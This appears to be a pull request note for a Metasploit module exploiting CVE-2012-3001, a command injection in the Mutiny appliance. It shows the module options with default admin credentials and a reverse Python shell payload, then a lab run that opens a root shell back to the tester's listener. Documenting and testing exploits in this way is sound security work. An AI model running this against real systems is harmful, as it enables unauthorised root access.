added module for cve-2012-3001

Tested successfully with Mutiny 4.2-1.05 as distributed on the vendor page:

http://www.mutiny.com/support/downloads/Mutiny-Build-CD-4.2-1.05.iso

Notes:

* The python payload is the more stable in this case, since others (perl and bash) are executed multiple times after injection, which is annoying. Since python is installed by default in the mutiny appliance sounds like a good option for me.
* The exploitation modifies network parameters (mainly the netmask), because of this the exploit tries to leak the original parameters and restores the original network configuration after exploitation.

Test results:

```
msf  exploit(mutiny_subnetmask_exec) > show options

Module options (exploit/unix/webapp/mutiny_subnetmask_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   mutiny           yes       The password to authenticate with
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.177    yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /interface/      yes       The base path to Mutiny
   USERNAME   admin            yes       The user to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.128    yes       The listen address
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(mutiny_subnetmask_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.177:80 - Login with the provided credentials...
[+] 192.168.1.177:80 - Login successful
[*] 192.168.1.177:80 - Leaking current Network Information...
[+] 192.168.1.177:80 - Information leaked successfully
[*] 192.168.1.177:80 - Exploiting Command Injection...
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.177:40294) at 2013-03-07 14:19:39 +0100
[*] 192.168.1.177:80 - Restoring Network information
[+] 192.168.1.177:80 - Network information restored

bash: no job control in this shell
[root@mutiny-unknown network-scripts]# 1901772573
vycrgtyayFoxCpkHpOhvWdHTBrhiyHQW
[root@mutiny-unknown network-scripts]# [root@mutiny-unknown network-scripts]# Shutting down interface eth0:  [  OK  ]
Shutting down loopback interface:  [  OK  ]
Bringing up loopback interface:  [  OK  ]
Bringing up interface eth0:  [  OK  ]
Bringing up interface eth1:  Device eth1 does not seem to be present, delaying initialization.
[FAILED]
AlAeyCxLgWGvROEByrhXlZpIUMuaacki
[root@mutiny-unknown network-scripts]# id
uid=0(root) gid=0(root)
[root@mutiny-unknown network-scripts]# uname -a
Linux mutiny-unknown 2.6.15-1.1833_FC4smp #1 SMP Wed Mar 1 23:56:51 EST 2006 i686 i686 i386 GNU/Linux
[root@mutiny-unknown network-scripts]# exit
exit

[*] 192.168.1.177 - Command shell session 2 closed.  Reason: Died from EOFError
^C
Abort session 2? [y/N]  y
msf  exploit(mutiny_subnetmask_exec) > 

```